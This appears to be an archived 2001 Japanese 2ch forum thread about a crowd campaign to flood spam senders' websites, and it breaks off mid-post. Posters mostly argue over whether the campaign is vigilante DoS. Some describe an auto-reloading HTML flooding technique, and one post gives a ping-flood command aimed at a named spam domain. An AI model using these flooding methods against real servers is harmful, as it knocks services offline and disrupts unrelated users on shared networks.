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☆弾薬開発者急募！！！☆

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0001特攻隊NGNG
ただ今、2ちゃんねる速報板では世紀の祭りが行われています。昼夜、相手を
選ばず送りつけてくる迷惑メール業者に対して一斉訪問を行うというものです。
今回の祭典の参加者は3000名クラスであり、私たちが1ヶ月間準備してきた
弾薬（訪問用スクリプトなど）がそこをついている状態です。どなたかご教授
ならびにご協力いただけないでしょうか。よろしくお願いいたします。
速報板
http://news.2ch.net/test/read.cgi?bbs=news&key=1002289568
人材急募中の技術斑
http://www.geocities.co.jp/SiliconValley-Sunnyvale/2460/
総本部
http://www.geocities.co.jp/SiliconValley-PaloAlto/9814/
0002デフォルトの名無しさんNGNG
リストに武蔵も入ってるなら協力してやるよ(藁
0003デフォルトの名無しさんNGNG
人材急募集中。迷惑メール撲滅祭りの参加者、ただ今ROM人員を入れると3000人級
今年最大の祭りです。

歴史を変えよう！
0004デフォルトの名無しさんNGNG
スパムキラーってスクリプト、発想が面白いね。
#フレームを何個も開いてそれぞれで自動リロードさせる。
#向こうが落ちた時ちょっと感動するかも（藁
0005デフォルトの名無しさん NGNG
Dos攻撃はやめれ
0006 NGNG
スパマーのサイトと同じサーバや同じ回線を利用しているサイトにとっては迷惑な話しだな。
頼むからやめてくれ。
0007デフォルトの名無しさんNGNG
＞６　そのためにサイト選定は最大の調査を。なので、開発がたいへんなのです
是非、ご協力を

しかし、迷惑メールでInternetが崩壊する日が近くないという新聞記事を読んで
私も危機感を覚えています。フリーメールトラブル、遅延、、、
この最近だけでも大変なことです
0008デフォルトの名無しさんNGNG
真っ当な技能を持ちつつ歯止めの利かないプログラマが
この手の運動に参加したらすごいことになりそうだな。
0009 NGNG
>>7
勝手にやれ。俺はそんな暴走族みたいな行為に手は貸さない。

ホワイトハウスは、CodeRedのDoS攻撃を、どのように防いだんだっけ？予め攻撃されることがわかって
いたから防げた？
0010デフォルトの名無しさんNGNG
＞９
IP変えたのだ
0011 NGNG
連続テロ事件の際も、cnnのサイトが激重になったり。

やはりP2Pしかないのか…
0012デフォルトの名無しさんNGNG
是非、速報板で教えてください。皆様の知識を分けてください。
泥沼の中で、なんとかなんとか、迷惑メールを止めさせようと、行政、
マスコミ、プロバイダなどにも訴え続けています。（涙

http://news.2ch.net/test/read.cgi?bbs=news&key=1002289568
0013デフォルトの名無しさん NGNG
君には悪いが、Dos攻撃やアクセスの急増にスマートに対処できる仕組みに思いをはせたほうが
技術者としては面白いのだ。すまん。
0014デフォルトの名無しさんNGNG
目的によって手段が正当化されることはない。

・・・って台詞は誰のものだったっけ？sage
0015デフォルトの名無しさんNGNG
Apacheって負荷が非常に高くなったときどうなるの？
0016デフォルトの名無しさんNGNG
祭りなのか正義なのかはっきりしろよ。正義だったら串なんかいらんだろ。
0017ソゼNGNG
なんかこれ、おもしろそう。
別にメール業者なんてどうでも良いけど、
やってもいいかも・・・・・
0018 NGNG
>>15
どこがボトルネックになっているかによるね。
0019デフォルトの名無しさんNGNG
私は刺してませんが、それぞれの自由ということになっているようです。
APACHEというのはUNIXということですか？
IISはすぐに落ちてしまうのですが、、
0020 NGNG
DoS攻撃は、スパムメールとと同じくらい罪が重い。
いや、法的にどうこうじゃなくて、ネットの掟として。
そんな運動がインターネットコミュニティに許容されるとも思わない。
でも、止めることは出来ない。２ちゃんねる的だね。

僕は技術によって生じた問題は、技術によって克服できると考えているので（若造？）、
スパムもDoS攻撃も、解決方法は絶対にあると思っている。
0021デフォルトの名無しさんNGNG
>>19
IIS知ってるならApache知ってるでしょ。
Win32もあるよ。
0022デフォルトの名無しさんNGNG
IISよりAPACHEのほうがいい、という話を聞いていれようと思っていましたが、UNIXしかないと思っていました。
challengeしてみます。
ところで、http://www.geocities.co.jp/SiliconValley-PaloAlto/9814/sk/merunage.zip
の原理はどのようになっているのでしょうか?ひたすらリロードしている模様なのですが。

あと、DOS攻撃＝Iriaアタック、PING連続発射ではないのですか？これはDOSになるのでしょうか？
0023デフォルトの名無しさんNGNG
スパムは法的にはOK（一部例外）で、DoSは犯罪になるんじゃなかったっけ？
0024デフォルトの名無しさんNGNG
>>20
法的には精神的な攻撃なのかな？
つか、携帯電話の本体作ってる会社(かはわからんが)はなんで、
Mailを"転送"したときヘッダ付け加えないようにしたんだろう・・・

>>22
Reloadしまくると、鯖落ちする。
DoS攻撃って、サービス妨害なんだからそういう類は入るんじゃない？
0025デフォルトの名無しさんNGNG
DoS=攻撃といわず訪問といってるようだけどね
んなもんで逃げられるとも思えない
まあスパム屋が訴え出るとも思えないけど
0026デフォルトの名無しさんNGNG
SPAM メールには「http://...../ へぜひお越しを！」と書いてあるので、
じゃあ訪問してやろうじゃないかということで
一斉に大量のアクセスを行って鯖に負荷を掛けるということらしい。
負荷を掛けることそのものが攻撃、ね。
そのために、REFRESH を使ってオートリロードしまくる HTML を使い、
相手の鯖の index.html あたりを何回もリロードするという仕掛け。
単純ながらよく考えてるとは思う。
これは DoS じゃない。
0027デフォルトの名無しさんNGNG
>じゃあ訪問してやろうじゃないかということで
ﾜﾗﾀ・・・
0028デフォルトの名無しさんNGNG
>>26
＞まあスパム屋が訴え出るとも思えないけど
確かに。
0029デフォルトの名無しさんNGNG
>24　営業回っている友達は、携帯メールで打ち合わせ報告を上司にすることになっているのですが、
「いやぁ、迷惑メールかと思って見落とすところだったよ」といわれて寒気が走った、とか逝ってました。
これって、威力業務妨害にはならないのでしょうか？

DoCoMoや、警察のサイバー課、プロバイダにも連絡したのですが、なかなか止めてくれないのです。
ISPで、TTnetなどはすぐ停止してくれるのですが、OCNだけ止めてくれません。なぜなのでしょうか？
0030 NGNG
>>26
結果としてやっていることはDoS攻撃と何ら変わりない。スパム活動も反スパム活動も
結局ネットにとっては迷惑なだけ。 だいたい、正義ならプロクシ経由してやるなよ。

こんなことやってるの、日本だけだろ？俺達、こんなんでいいのか？
0031 NGNG
>>29
そもそも、大事な業務を、「携帯メール」などという貧弱なインフラに依存しようとする
ところが間違っていると思う。
0032デフォルトの名無しさんNGNG
一部では、問題意識を高め、速やかな法整備を求めていくという動きも出ています。
imodeのサーバーで変なメールサーバーからのリレーを止めるということは無理なの
でしょうか？
0033デフォルトの名無しさんNGNG
>31
アホか。おこちゃまはもう寝ろ
0034デフォルトの名無しさんNGNG
>>30
もちろんこういうやり方に賛成はできない。
それなりの腕のプログラマが参加していないことに
やはり技術者としてのモラルはあるんだと少しほっとしているぐらいだ。
0035デフォルトの名無しさんNGNG
俺は崩壊して欲しい方なのでどんどんやってほしい。
韓国にも北朝鮮にも負けている日本、大したことはできないだろうが（わ
0036デフォルトの名無しさんNGNG
>34　できれば、良い方法を教えてください。本当に困ってるんです。
メールボム、Iriaなどは絶対に黒ですよね？
0037デフォルトの名無しさんNGNG
＞２９
OCNのプロバイダとしての悪徳（無関心?)ぶりはあちこちで語られていますが...
0038デフォルトの名無しさんNGNG
別にこれに賛同するわけではないけど
法整備が遅れている状態では
盲目的に法を守ることが
必ずしも最善とは言い切れないよ。

こういう議論はあっていいと思う。
0039デフォルトの名無しさんNGNG
OCNはNTTですよね？報告によると、他のプロバイダ（TTNetなど）は「速やかにユーザーに停止を依頼し、accountを
削除させていただきました」と一両日のうちに返信が來るのですが、OCNだけは1週間またされて「その行為を行わない
用ユーザーに連絡を取りました。」再び、送られたときに再度メールしたところ「契約上、停止ということは出来ません」
「警告は致します」といわれたということです。
もしかして、SPAMerにとっては優良業者なのでしょうか？
0040デフォルトの名無しさんNGNG
問題提起して人目に触れれば法整備もｱﾘ?
そういえばZDNNにも載ってたね。
0041デフォルトの名無しさんNGNG
>>39
NTT?
0042デフォルトの名無しさんNGNG
ネットワークのインフラがほぼ全社会層にまで普及した現在だが、
ハードウェアだけ成長しても利用方法のモラルが形成できていないから、
必然的にこういう輩は出てくる。
しかし、それにDoS攻撃という相手と何ら変わらない手段によって対抗する事は
なんのメリットもない。
まあ、過渡期なんだな。
0043デフォルトの名無しさん NGNG
インターネットの回線はあなたのものではなくみんなのものですから、自分の主義主張のために
わざと混雑させるのは、迷惑なので犯罪。

スパムと一緒なんだよ。なんでわからんかなぁ。
0044デフォルトの名無しさんNGNG
>>36
２ちゃんねるでやるのなら、直接的な攻撃に出ず、
法律関係の板で対策を議論するのが一番利口じゃないかな？
それで成果を出すことができれば、色々な意味で画期的だと思う。
0045デフォルトの名無しさんNGNG
目には目をってやつですな
「テロには報復戦争」と同じで◎！
0046デフォルトの名無しさんNGNG
>39　OCN＝NTTではないのですか？
http://www.zdnet.co.jp/news/bursts/0109/11/spam.html
ほか、バトルウォッチャーにも載った記憶があります。
一生懸命、マスコミへのFAX、メール投稿、政党、警察のサイバー課へも
法整備の陳情書を出しています。迷惑メールがなぜ問題にならないのか
不思議でたまりません。

>42　過渡期を乗り越えたいですね。早く。
0047デフォルトの名無しさん NGNG
スパムメールなんて、インターネットの初期から問題になっている。なにを今更という気も
しないわけではない。まぁ、iモードなんだろうけど。

やるなら、ドコモのメールサーバをダウンさせて、iモードの問題点及びドコモの問題を
訴えたほうが社会的にもインパクトがあるしｶｺｲｲと思うけど、そこまで根性なくて
街の端っこのスパマーの店攻撃してるところがいかにも２ちゃんねる厨房。
0048デフォルトの名無しさんNGNG
メール受信無料のキャリアだと苦情も少ないのかな？
0049デフォルトの名無しさんNGNG
>47　なぜそこに気づかなかったのだろう？

Jで金取られなくても夜中や打ち合わせ中に來るのは鬱
いよいよヤルってときに雰囲気ぶち壊してやれなかったという
報告あり
0050デフォルトの名無しさんNGNG
http://kaba.2ch.net/test/read.cgi/net/1001947159/l50
ここに書いていることは明らかにダメですよね？
>48
キャリアが抱えている人数が違うと思われ。あうのCメール苦情は急増。
DMMakerは21桁に対応ということですが、、
0051よいこは真似しないでね for WinNGNG
ping tky.merunage.com -t -a -l 9999
0052デフォルトの名無しさんNGNG
>47
やるならスパムをコピーした内容をパソコンからドコモに送り付ける方法だろうね。
「こんなメールが来て迷惑です。対処して下さい」
これを受け取ったスパムメール全てに対して毎日大人数で行えば、えらいことになると思われ。
0053デフォルトの名無しさんNGNG
>>52
「お客様窓口」のメールアドレスを隔離したサーバに移して
「申し訳ありません」メールを自動回答で送り返して終了。
0054デフォルトの名無しさんNGNG
2ch vs ドコモになるとマスコミが正確な報道できないだろ。どうせ。
0055デフォルトの名無しさんNGNG
>51　これって、PINGアタックというもので、Dosじゃ、、
速報板によると
SPAM発射で來るのは携帯Usrなんと9000万人。甘く見て3000万回は見て欲しいというのでしょう。
SPAMerさん。それを何回もしているので、、、まあ一億回くらいは見ても、仕方ないと。
という書き込みも見られています。
Docomoに全てのSPAMメールをみんなが転送。「こんなんきて困ってます」
これはすばらしい名案ですね。
0056デフォルトの名無しさんNGNG
>>37
OCNはすごいよ。。
たくさん回線ひいてたりすると「黙認」だしな(藁
しかもブラックリストに載せられると速攻解除しにいくというマメさ(死
0057デフォルトの名無しさん NGNG
>>53
自動回答のサーバをダウンさせるほど。ドコモの社長に。ドコモの支社に。
ドコモの営業所に。それはドコモの社員の日常業務が出来なくなるほど。

もちろん逮捕覚悟で。「革命とは暴力そのものだ（毛沢東）」
0058デフォルトの名無しさんNGNG
>>57
相手のサーバが落ちてたらメール返ってくるよ？
ついでに、その際のパケット料金で DoCoMo ウハウハ。
0059 NGNG
>>58
だから、苦情メールをPCから送るっていってんだろ。なんか頭の不自由な人？
0060デフォルトの名無しさんNGNG
PCリンクソフトを買いに行ってきます。明日から届いたメールをすべてDocomoに転送します。
一日13通ほど規定マス。あどれすは6桁英数混在です。
0061デフォルトの名無しさんNGNG
>>59
おお。PC からというのが目に入ってなかった。すまんすまん。
しかしそうなったら、
DoCoMo の利用者からの苦情メール以外は受け付ける言われがないんだから、
DoCoMo のネットワーク外からのメールは端から遮断すればいいだけでわ。
そもそも、他の利用者も大勢いるというのに
DoCoMo のインフラに攻撃を加えるというのが気に食わんのだよ。
0062デフォルトの名無しさんNGNG
人のことばっかり考えて大事なことを見逃したくないな
大事なのは自分だけ
この問題においては子供ユーザーじゃないから何とも言えないが
0063デフォルトの名無しさんNGNG
>61　問題を放置し、Userのお願いも放置し、一日5千万もうけてるのだから
仕方ないということもおもわれ
006459NGNG
>>61
もちろん俺もそのような愚挙は反対だ。考えてみただけ。

しかし、出会い系サイトをDoS攻撃して反スパム運動というのは、非常に間違えているぞ＞２ちゃんねら
DoS攻撃で迷惑を被るのは、スパマーじゃないぞ。インターネットは非常に脆弱なんだ。

それに、真の敵はそこじゃないだろ(w。
0065デフォルトの名無しさんNGNG
じゃあ具体的な代案を出せ
0066デフォルトの名無しさんNGNG
誰かが傷つく正義が万人に受けいれられると思っているのがねぇ。
「俺はSPAMが嫌いだ。誰がなんと言おうと嫌いだ。だから叩く。」
ぐらいの勢いでエゴ丸出しでやるなら勝手にやってくれって話だが、
「これは社会正義なんです！皆さん立ち上がりましょう！」
なんて具合にスローガンよろしくイデオロギー振りかざすのがなんとも。
いや、無論 SPAM 業者には逝っていただきたいが。
0067デフォルトの名無しさんNGNG
君が流した沢山のパケットのせいで

他のひとのパケットがうまく流れない。

きみはそれを正義と呼ぶけど

きみのやっていることは

きみのきらいなスパマーとおなじ。

でもきみにはそれがわからない。

むじゃきによろこんでる。

それみて

ぼくは ただ かなしい。
0068デフォルトの名無しさんNGNG
>61
ドコモのインフラに攻撃をするのではないよ。
利用者としてドコモにスパムメールの取り扱いに対してクレームをするだけさ。
その際にドコモのトラフィックが混雑しても、それはクレーム処理が上手くできないドコモの不手際だよ。
文句をつける利用者は悪くないよ。ただその人数が多いだけ。
0069デフォルトの名無しさんNGNG
そもそもSPAM業者に常識が無いんだから、
まっとうなやり方ではどうにもならんのよな。
それが社会的に許されるかどうかはともかく。
0070デフォルトの名無しさんNGNG
>>68
強請にも似たような手口があるわな。
「お前の所の饅頭腐ってたぞ！」と言って店にねじ込んで、
「示談金払うまで怒鳴り続けてやる！」とばかりに
「この店が腐った饅頭売るのが悪いんじゃ！」と叫び続けるタイプの。
実際に迷惑するユーザーにきちんと説明してやってくれ。

もっと穏便で有効な方法を考えようよ。
0071デフォルトの名無しさんNGNG
誰が何と言おうと

「この世はやったモン勝ち」

やってくれ、どんどん。
何処まで出来るのか何が出来るのか見せてちょーヨ。
と。
0072デフォルトの名無しさんNGNG
>66
正義なんか振りかざしている奴がそんなにいるの？
ほとんどが自分がスパム受け取って不快もしくは遊びで行動しているだけだろう。
0073 NGNG
>>72
その「遊び」で、実際にネットが混雑して他の無関係な利用者の通信が重くなったり、
無関係なウェブサイトが重くなったりするんです。

無知は、悲しい。
0074デフォルトの名無しさんNGNG
>>72
総本部の前口上がそんな具合だった。
ちなみに今はデリられてるから見られない。
あと、さっき誤爆しかけてたみたい。
どうもなぁ。
0075デフォルトの名無しさんNGNG
「他人なんぞ知ったことか」で行動してもらいたい。是非。
いつやるのか知らんけど、俺は四六時中繋いでるわけじゃないから
まあyoshiとしてあげますぅ。
0076デフォルトの名無しさんNGNG
>74　誤爆は無かった模様
0077デフォルトの名無しさんNGNG
>>75
現在進行中。
0078デフォルトの名無しさん NGNG
>>75
>「他人なんぞ知ったことか」で行動してもらいたい。是非。

だからそれ、スパマーと全く同じ行動原理ですね。そんなことしてもスパムメールが減るとも
思えないし。ただ、ネット内の迷惑の全体量が増えるだけ。
0079デフォルトの名無しさんNGNG
>73
では金だけ払って泣き寝入りしろ、もしくは文句を言わずに使えと？
0080デフォルトの名無しさんNGNG
まさに「目には目を」デスヨ。
原理がどうあれ「見せておくんな2ちゃんねらー」、と。

やった、成功した、だから何だ、お前は何を得したかと問われると
何もないし、感じるのは「ホー、やったか」くらいだけどネ
何はともあれ 見せておくんな2ちゃんねらー
0081デフォルトの名無しさんNGNG
とりあえずマスコミが取り上げれば勝利かも
0082デフォルトの名無しさん NGNG
>まさに「目には目を」デスヨ。

違う。無関係な人にも迷惑を与えている。ここ技術板だよね？インターネット、わかってるよね？
0083デフォルトの名無しさんNGNG
>>76
うん。だから「誤爆しかけてた」ね。

>>79
「俺は腐った饅頭で腹壊してもだまっとけと言うのか！？」
と翻訳できる。

効果は分からんけど、昔ブルーリボン運動ってあったよね。
あれの翻案で、公共広告機構みたいな組織を作って、
そこのバナーを無数の個人サイトに貼ってみるってどうだろう。
そこに、問題のある企業なんかの情報をどんどん載せるわけ。
0084デフォルトの名無しさんNGNG
戦闘力低下。マスコミは何か事件がないと食いつかないと思われ。
ダイナマイトきぼんぬ
0085デフォルトの名無しさんNGNG
「他人なんぞ知ったことかで行動してもらいたい」
0086デフォルトの名無しさんNGNG
これってチョボラ？
0087デフォルトの名無しさんNGNG
さっきも誰か言ったよね、

代案無き反論(中傷)は大人の世界では通用しないのよ

粘着君の無知が悲しい・・・
0088デフォルトの名無しさん NGNG
DoS攻撃している連中は、インターネットの仕組みなど知らないと思われ。
0089デフォルトの名無しさんNGNG
他人なんぞ知らんわーくらいのパワーがなきゃやれませんナ。
そこまで出来るの
ささ、できるのできないの？？！！？？
見たいネエ〜
0090ていうかNGNG
祭りはただの人集めナンデスケド…。
集まった連中で、正規に活動してくれればよい。
0091つーかNGNG
CodeRedの攻撃先変更できないの？
0092デフォルトの名無しさんNGNG
>83
確かに腐ったまんじゅうだと分かって食ったのならその通り。
だけどドコモは問題の無いまんじゅうですよと言ってサービスを提供しているとしか思えん。
もともと多くの人はスパムでこれほど悩まされると分かって契約してないのでは？

後半に関しては良い案だね。
ただし個人及びその集まりではきついかもね。裁判にもなりかねないし。
国やはりなり公的機関が動かないと最終的にケリはつかんでしょう。
0093デフォルトの名無しさんNGNG
代案をと言われたからには考えてみる。
まず、さっきのカウンターバナーが一案。
その前に書いた、法律板あたりで相談して各個撃破も一案。
カウンターバナーに近いけど、
SPAM 業者の一覧を作ってどこかで大っぴらに公開するのもいいね。
っていうか、消費者運動ポータルなんて作ってみたらどうよ？
その手の情報を大量に集めて常にホットなトピックスを紹介。
ＮＰＯ申請して助成金で有名ポータルにバナー貼りまくり。
投資対象にはならんだろうけどさ(藁
0094デフォルトの名無しさんNGNG
要するにマスコミなり公的機関なりを引っ張り出せば勝ちなんだよ
0095デフォルトの名無しさんNGNG
その為には大量の血が流されなければならないのだ
0096デフォルトの名無しさん NGNG
どんな事考えても、どんな理想をもっても、DoS攻撃をやった時点で運動は失敗。

マスコミが意見を聞くところの専門家はDoS攻撃氏ね派であるから、どうかんがえても
２ちゃんねるに勝ち目はない。
0097デフォルトの名無しさんNGNG
>SPAM 業者の一覧を作ってどこかで大っぴらに公開するのもいいね。
それって宣伝幇助するだけのような
厚顔なSMAP業者が困るとも思えん
0098デフォルトの名無しさんNGNG
>>92
「あの店の饅頭が腐りかけなのは常識じゃん・・・」
という声が少なからずあると思うよ。
決していいことじゃないけれど、そんなもんでしょ。

>>92 >>94
どこかを引っ張り出す必要があるというのには同意。
しかしそのための手段が暴力じゃあいかんだろう。
ポータルやバナーってのは、
自分たちである程度コントロールできるメディアを
そのために確保しようという視点から出てきてる。
「SPAM 逝け！」という声が本当に社会の大勢をしめるなら
結実する行動だと思うけどなぁ。
0099デフォルトの名無しさんNGNG
>>97
もちろんマイナスイメージを植え付ける方向でね。
「今月の悪徳業者一覧：ほげほげSPAMさーびす」
なんて書いてあったら宣伝にはならんでしょ。
0100デフォルトの名無しさんNGNG
全てが全て穏便穏便で済めばイイデスネ（ｗ
やりたいならやらせてあげな
0101 NGNG
代案。

まず、今のインターネットのメールシステムを廃棄する。今のシステムははるか昔に考えられたもの。
新しい時代には、新しいメールシステムが必要だと思う。
0102やくざのDOS攻撃NGNG
おっ、俺はネットワァクのピンフを守った！
俺は英雄だ！俺は偉い！崇め奉れ。
0103デフォルトの名無しさんNGNG
>>100
まずは静かに話し合い。
話が通じない時、そして死活問題になった時にだけ拳を交える。
ま、無理に引き留めるつもりはないよ。
暴れるのがエゴなら、引き留めるのもエゴだからね。
ってーか、仕事しろよ・・・。＞オレ
0104デフォルトの名無しさんNGNG
出会い系なんてやめてもっと下品なサイトを対象にすべきだね。
そうすればワイドショーの取り上げ方も変わってくるだろう。
まずは２ｃｈより下品なSPAM屋を探すべし。
0105 NGNG
>まずは２ｃｈより下品なSPAM屋を探すべし。

それは難しい(w
0106デフォルトの名無しさんNGNG
>>101
IMをベースにそういう方向考えるのはアリだね。
だけどメールの利用環境が多岐に渡ってるから
それら全体を包み込んでいけるような技術、
プロモーションを考えなくちゃいけない。
SPAM で苛ついてるのは PC ユーザーよりも携帯ユーザーだろうし。
0107デフォルトの名無しさんNGNG
＞101
それが出来りゃあ...という気がしないでもない。
0108デフォルトの名無しさんNGNG
96及び98の話は興味深い。
本当は「マスコミが意見を聞くところの専門家」も仕事に支障が出るくらい
スパムで苦しんでもらえると話が早いのだろうね。
0109101NGNG
ダメなものはダメだよ。いつまでも使ってるわけには行かないよ。昔と今じゃ、
メールに求められるものが全然違う。

あきらめていたら何も始まらないし、何も変わらない。新しいメールシステムを
スクラッチから作ることを考える作業は、結果的に何か面白い地平を切り開く
可能性があると思うが、どうよ？
0110届け私の思いNGNG
正直
マスメディアに援護求めるのはムリだと思う

なので
やはり攻撃です
大陸間弾道弾のようにどんどん打ち込むべきですICBMです
Unreachableじゃぁ話になりませんが。
0111 NGNG
>なので
>やはり攻撃です

はい。速報板へｻﾖﾅﾗ。
0112デフォルトの名無しさんNGNG
>>109
簡単ではないにしても、技術的には特別難しいものじゃないだろうね。
問題は、そのシステムをどうやって普及させるのか、そこにある。
サーバーを使うという話になったらそこでいきなり維持費発生だし。
大体誰が daemon 書くんだという話もある。
それだけの労力を費やしてやろうという人材の確保が先決だね。
今のオレにはそれだけの余裕はないな。
0113デフォルトの名無しさんNGNG
>109
メールシステムという概念を打破したシステムをつくる？
それとも現行のメールシステムの改良？
0114デフォルトの名無しさんNGNG
シャレなのになんでｻﾖﾅﾗなんだよー（大ﾜﾗ
0115デフォルトの名無しさんNGNG
オープンソース陣営が頑張ってくれる.............といいな。
0116デフォルトの名無しさんNGNG
メールヘッダの From: を詐称できない仕組みがあれば
SPAM 対策としては十分かもしれない。
0117デフォルトの名無しさんNGNG
>>112
そのとおりだな。
その切り口の一つとして、>>106の呈示したIMというのは面白いと俺は思う。
0118デフォルトの名無しさんNGNG
業者がほえております

61 名前：商業サイト投稿日：2001/10/06(Sat) 02:04

あのね、何回も言わせないでよね。僕達は不純異性交友の捜査や調書作成で
警察が協力を依頼してくるので、中高生の売春や違法薬物、裏ビデオの販売も
目をつぶって貰えるわけ。
こっちだって商売だから何１００万通のメールを無差別に送らざるを得ないわけで
小学生の携帯電話にチンコマンコ届こうが知ったこっちゃ無いわけよ。
spamは犯罪ではありません。缶詰の商品名です。
お陰でdocomoは儲かってるようだから我々に肯定的だしね。俺、何か間違ってる？
0119デフォルトの名無しさんNGNG
つーか現行システムの何が駄目なのよ？
0120デフォルトの名無しさんNGNG
国際法で禁止してくんねーかな
0121デフォルトの名無しさんNGNG
>>119
SPAM がどこから送られてきたかを
確実に特定できないのが駄目だと考える。
要は、文句の言いようがない。
From: が詐称不可能であれば告発可能、拒否可能。
何らかの信頼関係の下に置かれたサーバー群内でのみ
メール交換が成り立つようにすれば完全に締め出し可能だし。
ただ、そのシステムの規模が十分大きくないと使い物にならないのが問題。
0122デフォルトの名無しさんNGNG
>119
不特定多数に非常に安価なコストでメールを配信できるという点がスパムに悪用されている。
0123 NGNG
例えば、携帯端末がもっとさらに普及して、今の「インターネットのメール」なんて
レガシーになってしまえば、PCからの中継を拒否しても、それほど実害はなくなる
かも。

携帯端末は、政府が支給して違法の使用者は取り上げてしまうことにすれば。
0124デフォルトの名無しさんNGNG
>From: が詐称不可能であれば告発可能、拒否可能。
じゃあさしあたり法的に改ざんを禁止すりゃあいいね。
メールで紹介するURL調べればメールの発信元も特定できるから。

>不特定多数に非常に安価なコストでメールを配信できるという点
メールの配信コストを高くすればいいのか？(藁
0125デフォルトの名無しさんNGNG
>123
それはちょっと...

>124
いいね。改竄禁止。
でも、結局法律なんだよな...
0126デフォルトの名無しさんNGNG
>>124
法律ってのは結構いいかも。
どこかの業者にSPAM疑惑がもちあがったら
令状とって上流で改竄チェックしてみるとか。
それで改竄を検出したら即踏み込み。
なんか盗聴法と絡みそうな話だけど。
0127デフォルトの名無しさんNGNG
法律で禁止しても万引きも銀行強盗も殺人事件もスパムメールもなくならないだろう。
0128デフォルトの名無しさんNGNG
スパムはそれ自身が証拠になるでしょ。送らないことには意味ないんだから。
0129デフォルトの名無しさんNGNG
>>127
低減させられればそれでまずよしとするのが良識ってもんだろう。
完璧でないものには手を出さない、ってのは厨房の台詞だよ。
0130デフォルトの名無しさんNGNG
俺携帯使ったことないから分からないけど
spamがURLを宣伝するものだとするなら
URLが含まれたメールは弾くようにしてもらうってのはどう？
そしてメールではURLは送れないことにする。
0131 NGNG
>>129
そもそも、今のインターネットのメールは、メールシステムとしては、かなりダメなシステム
ではないだろうか？というところから出発している。
0132デフォルトの名無しさんNGNG
>>124
海外からの物に対してはどうする？
世界的に問題になれば各国政府が協調して法規制ということもあるかもしれんが。

コストは大切だよ。
一つのメール送信に1万もかかれば、現状ではスパムは送ってこないでしょう。
それ以前に誰も使わなくなるだろうからメールシステム自体が崩壊するだろうけど。
0133デフォルトの名無しさんNGNG
>>130
http://www.spamhoge.com/ とか書かずに
www.sp○mh○ge.com とか書いて不正な URL にして、
「○の中に入る文字を当てられたら素敵なご褒美が・・・？」
みたいなメールを送ってくると予想。
0134 NGNG
>>130
http://www.zaisoft.com/jp/adtoone/spam.html
この同報配信ソフトは、そのようにしてスパムを排除している。他にも同様の仕組みで、
スパムを排除している同報配信ツールがある。
0135デフォルトの名無しさんNGNG
フィルタはトラフィックが減るわけではないし、
全員がフィルタをかけるわけではない以上、
SPAM屋は送りつづけるだろうね。
0136デフォルトの名無しさん NGNG
メールサーバがフィルタ(メールに使えないURL)を実装するとなると、
確認するコストが…P2Pで共有…富豪的プログラミング
0137デフォルトの名無しさんNGNG
ドメインとトラフィックに課税すればいい
0138デフォルトの名無しさんNGNG
プログラム技術の板だし、法律や金に頼らない、
プログラマならではの解決ってないもんかなぁ。
特に携帯ユーザーを対象にした奴。
0139 NGNG
>>137
アメリカで、メールアドレスに課税するという「デマ」が、確か大統領選挙で流れたのは
記憶に新しい。アメリカでも、ヨーロッパでも反スパム法は、なかなか難しいらしい。
反対している識者も少なくないらしい。出来たとしても、非常に緩やかなものになるらしい。
0140デフォルトの名無しさんNGNG
こんなの考えてみた。
まず、携帯のアドレスを殺して、
携帯用 Web メールのみを使うようにする。
その Web メールのサーバーは常時接続の自宅のマシンに置いといて、
そこで色々とフィルターを掛ける。PC の常時接続環境なら金掛からない。
受け身の防衛策でしかないけど。
0141デフォルトの名無しさんNGNG
必要なメールが来たことを携帯にどのように知らせるかが難しいね。
メールが来たら自宅サーバから携帯に電話をかけさせれば良い？
0142 NGNG
PCから携帯へのメールは、ある送信数以上は登録制。決められたメールサーバを利用
する。送信料金は１通１０円。でも、スパムメールじゃなかったら、その料金は後程キャッ
シュバック。
0143デフォルトの名無しさん NGNG
>>138
本当に面白いアイデアが浮かんだら、多分ここには書かない(w
0144デフォルトの名無しさんNGNG
>>141
ワン切りでコールするといいかも。
でも、自衛でしかないから、SPAM 業者は減らないだろうなぁ。
0145 NGNG
俺は、なぜそこまで被害をうけながら、iモードでインターネットからのメールを受信を許可
しつづけるのか？なぜ使いつづけるのか、そちらにも興味がある。
0146デフォルトの名無しさんNGNG
>>121
>>145
おいおい・・・
それ以前にDoCoMoとか、J-Phoneとかが、
Eメールの配信するときにヘッダにReceivedつけないのがいけないんだよ・・・
SMTP で IP偽装するなんて結構むずいし。
さすがに警察も動くだろ・・・
0147デフォルトの名無しさんNGNG
おおっ、新しい視点
0148デフォルトの名無しさんNGNG
>>146
いや、そういうレベルでの詐称抑止じゃなくて。
SPAM 業者がどっかのサーバーを踏み台にするなんてザラにあるわけじゃない。
そういう場合には IP が特定できてもあんまり意味がない。
そういうのも含めて、全体として詐称不能にする。
0149デフォルトの名無しさんNGNG
>>148
>どっかのサーバーを踏み台にする
もろ犯罪。
0150デフォルトの名無しさんNGNG
>>145
ころんちゃんって呼んでいい？
0151デフォルトの名無しさんNGNG
受信指定=10件のみ、Internetから拒否＝J、Ezも無理。というわけで使えない。
番号は何年も使っているものだから、変えると大変＝キャリア変更も無理
年々割引ももったいない、、
というわけで仕方なく使っている次第です。プライベートならいくらでも変えたり
拒否したりするのだが、
Docomoにヘッダがきちんと見れるようにしろ、といったら「無理です。技術的に」
といわれました
0152デフォルトの名無しさんNGNG
>>149
でも実際に行われてる。
しかも踏み台にされるようなのに限って
セキュリティがタコ過ぎてログまで消されてるとかいう話になりそうだし。
0153デフォルトの名無しさんNGNG
>152　海外だったらどうするか、という話も。インターポールで銭型のとっつぁん？
0154ころんちゃんNGNG
それでころんちゃんって、何？

http://www1.interq.or.jp/kokke/pokemon/zukan/rokonchan/
0155ころんちゃんNGNG
>>152
だから、サーバ設置は免許制にする。 自動車もね、出来た時は免許制度なんか
なかっただろうし。時代に合わせて、制度は変わっていく。
0156デフォルトの名無しさんNGNG
>155　確かにね。にわか鯖運営者もBB普及で出てきたことだし、
あと、ドメイン取得を厳しくするとか
0157デフォルトの名無しさんNGNG
>>151
んなあほな・・・
SecureE-MAIL とかいってとりあえず新しいのだけに対応させて
標準にすればいいだけじゃん・・・

いつものお得意の別に変わってないけど「新機能」はどしたんだ・・・

DoCoMo・・・どうにかしてくれよ・・・

>>152,>>153
おいおい・・・
前者は、警察がマークすればいいし、
後者は、そんなん管理者に問い合わせればいいし、

要は、みんなめんどくさいだけなんだよ・・・
しかも、N○Tとかの悪徳業者は「儲かってるからいいや」っていうだろうし・・・
0158デフォルトの名無しさんNGNG
仕事の以来がメールで来るから受け取る
　　　　　　　　↓
